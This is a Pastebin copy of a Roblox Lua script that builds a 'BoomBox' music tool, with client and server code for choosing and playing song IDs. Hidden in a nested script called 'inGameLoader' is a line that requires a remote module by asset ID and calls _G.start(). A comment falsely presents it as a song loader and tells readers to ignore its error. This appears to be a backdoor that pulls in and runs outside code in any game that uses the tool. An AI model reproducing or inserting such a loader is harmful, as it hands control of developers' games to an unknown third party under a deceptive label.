Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Tool0 = Instance.new("Tool")
- LocalScript1 = Instance.new("LocalScript")
- RemoteEvent2 = Instance.new("RemoteEvent")
- Part3 = Instance.new("Part")
- SpecialMesh4 = Instance.new("SpecialMesh")
- Sound5 = Instance.new("Sound")
- Script6 = Instance.new("Script")
- Script7 = Instance.new("Script")
- Tool0.Name = "BoomBox"
- Tool0.Parent = mas
- Tool0.TextureId = "http://www.roblox.com/asset/?id=212303004 "
- Tool0.Grip = CFrame.new(1, -1.25, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Tool0.GripForward = Vector3.new(1, -0, -0)
- Tool0.GripPos = Vector3.new(1, -1.25, 0)
- Tool0.GripRight = Vector3.new(0, 0, 1)
- LocalScript1.Name = "Client"
- LocalScript1.Parent = Tool0
- table.insert(cors,sandbox(LocalScript1,function()
- local Tool = script.Parent
- local Remote = Tool:WaitForChild("Remote")
- local songgui
- local CAS = game:GetService("ContextActionService")
- local ActionName = "PenguinAttack"
- local Player = game:GetService("Players").LocalPlayer
- local Mouse = Player:GetMouse()
- function onAction()
- Remote:FireServer("Activate", Mouse.Hit.p)
- end
- function onEquipped(mouse)
- --ensure unequip
- onUnequipped()
- --bind
- mouse.Button1Down:connect(onAction)
- end
- function onUnequipped()
- --unbind
- CAS:UnbindAction(ActionName)
- if songgui then
- songgui:Destroy()
- end
- end
- function playAnimation(name, ...)
- local anim = Tool:FindFirstChild(name)
- if anim then
- local human = Tool.Parent:FindFirstChild("Humanoid")
- if human then
- local track = human:LoadAnimation(anim)
- track:Play(...)
- end
- end
- end
- function chooseSong()
- if Player.PlayerGui:FindFirstChild("ChooseSongGui") then return end
- local sg = Instance.new("ScreenGui")
- sg.Name = "ChooseSongGui"
- local frame = Instance.new("Frame")
- frame.Style = "RobloxRound"
- frame.Size = UDim2.new(0.25, 0, 0.25, 0)
- frame.Position = UDim2.new((1-frame.Size.X.Scale)/2, 0, (1-frame.Size.Y.Scale)/2, 0)
- frame.Parent = sg
- frame.Draggable = true
- local text = Instance.new("TextLabel")
- text.BackgroundTransparency = 1
- text.TextStrokeTransparency = 0
- text.TextColor3 = Color3.new(1, 1, 1)
- text.Size = UDim2.new(1, 0, 0.6, 0)
- text.TextScaled = true
- text.Text = "Lay down the beat!\nPut in the ID number for a song you love that's been uploaded to ROBLOX.\nLeave it blank to stop playing music."
- text.Parent = frame
- local input = Instance.new("TextBox")
- input.BackgroundColor3 = Color3.new(0, 0, 0)
- input.BackgroundTransparency = 0.5
- input.BorderColor3 = Color3.new(1, 1, 1)
- input.TextColor3 = Color3.new(1, 1, 1)
- input.TextStrokeTransparency = 1
- input.TextScaled = true
- input.Text = "142376088"
- input.Size = UDim2.new(1, 0, 0.2, 0)
- input.Position = UDim2.new(0, 0, 0.6, 0)
- input.Parent = frame
- local button = Instance.new("TextButton")
- button.Style = "RobloxButton"
- button.Size = UDim2.new(0.75, 0, 0.2, 0)
- button.Position = UDim2.new(0.125, 0, 0.8, 0)
- button.TextColor3 = Color3.new(1, 1, 1)
- button.TextStrokeTransparency = 0
- button.Text = "Play!"
- button.TextScaled = true
- button.Parent = frame
- button.MouseButton1Click:connect(function()
- Remote:FireServer("PlaySong", tonumber(input.Text))
- sg:Destroy()
- end)
- sg.Parent = Player.PlayerGui
- songgui = sg
- end
- function onRemote(func, ...)
- if func == "PlayAnimation" then
- playAnimation(...)
- end
- if func == "ChooseSong" then
- chooseSong()
- end
- end
- --connect
- Tool.Equipped:connect(onEquipped)
- Tool.Unequipped:connect(onUnequipped)
- Remote.OnClientEvent:connect(onRemote)
- end))
- RemoteEvent2.Name = "Remote"
- RemoteEvent2.Parent = Tool0
- Part3.Name = "Handle"
- Part3.Parent = Tool0
- Part3.CFrame = CFrame.new(-22.6000004, 0.800000012, 50.4000015, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part3.Position = Vector3.new(-22.6000004, 0.800000012, 50.4000015)
- Part3.Size = Vector3.new(3.20000005, 1.60000002, 1.20000005)
- Part3.BottomSurface = Enum.SurfaceType.Smooth
- Part3.CanCollide = false
- Part3.TopSurface = Enum.SurfaceType.Smooth
- Part3.FormFactor = Enum.FormFactor.Custom
- Part3.formFactor = Enum.FormFactor.Custom
- SpecialMesh4.Parent = Part3
- SpecialMesh4.MeshId = "http://www.roblox.com/asset/?id=212302951 "
- SpecialMesh4.Scale = Vector3.new(4, 4, 4)
- SpecialMesh4.TextureId = "http://www.roblox.com/asset/?id=212303049 "
- SpecialMesh4.MeshType = Enum.MeshType.FileMesh
- Sound5.Parent = Part3
- Sound5.Looped = true
- Sound5.EmitterSize = 0
- Sound5.MinDistance = 0
- Sound5.Volume = 1
- Script6.Name = "Server"
- Script6.Parent = Tool0
- table.insert(cors,sandbox(Script6,function()
- --[[
- Fixed by ArceusInator
- --]]
- local Tool = script.Parent
- local Handle = Tool:WaitForChild("Handle")
- local Remote = Tool:WaitForChild("Remote")
- local Sound = Handle:WaitForChild("Sound")
- function onUnequip()
- Sound:Stop()
- end
- function onActivate()
- Remote:FireClient(getPlayer(), "ChooseSong")
- end
- function getPlayer()
- return game:GetService("Players"):GetPlayerFromCharacter(Tool.Parent)
- end
- function playSong(id)
- id = id or ""
- if Sound then
- Sound:Destroy()
- end
- Sound = Instance.new'Sound'
- Sound.Parent = Handle
- Sound.Volume = 0.4
- Sound.Looped = true
- Sound.PlayOnRemove = false
- Sound.SoundId = "http://www.roblox.com/asset/?id="..id
- Sound:Play()
- end
- function onRemote(player, func, ...)
- if player ~= getPlayer() then return end
- if func == "Activate" then
- onActivate(...)
- end
- if func == "PlaySong" then
- playSong(...)
- end
- end
- Remote.OnServerEvent:connect(onRemote)
- Tool.Unequipped:connect(onUnequip)
- end))
- Script7.Name = "inGameLoader"
- Script7.Parent = Script6
- table.insert(cors,sandbox(Script7,function()
- --This script loads the songs when it's on a published game. It will give an error when testing in studio. Don't mind it
- require(01546813029) _G.start()
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement